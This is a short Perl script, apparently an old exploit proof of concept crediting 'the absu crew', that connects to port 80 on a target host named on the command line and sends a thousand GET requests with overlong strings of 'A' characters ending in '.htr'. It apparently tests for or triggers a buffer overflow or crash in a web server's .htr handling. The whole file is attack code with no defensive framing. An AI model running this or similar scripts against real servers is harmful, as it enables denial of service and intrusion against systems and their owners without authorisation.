#!/usr/bin/perl
#props to the absu crew
use Net::Telnet;
for ($i=2500;$i<3500;$i++)
   {
   $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
   my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
   print "$cmd\n";$obj->print("$cmd");
   $obj->close;
   }
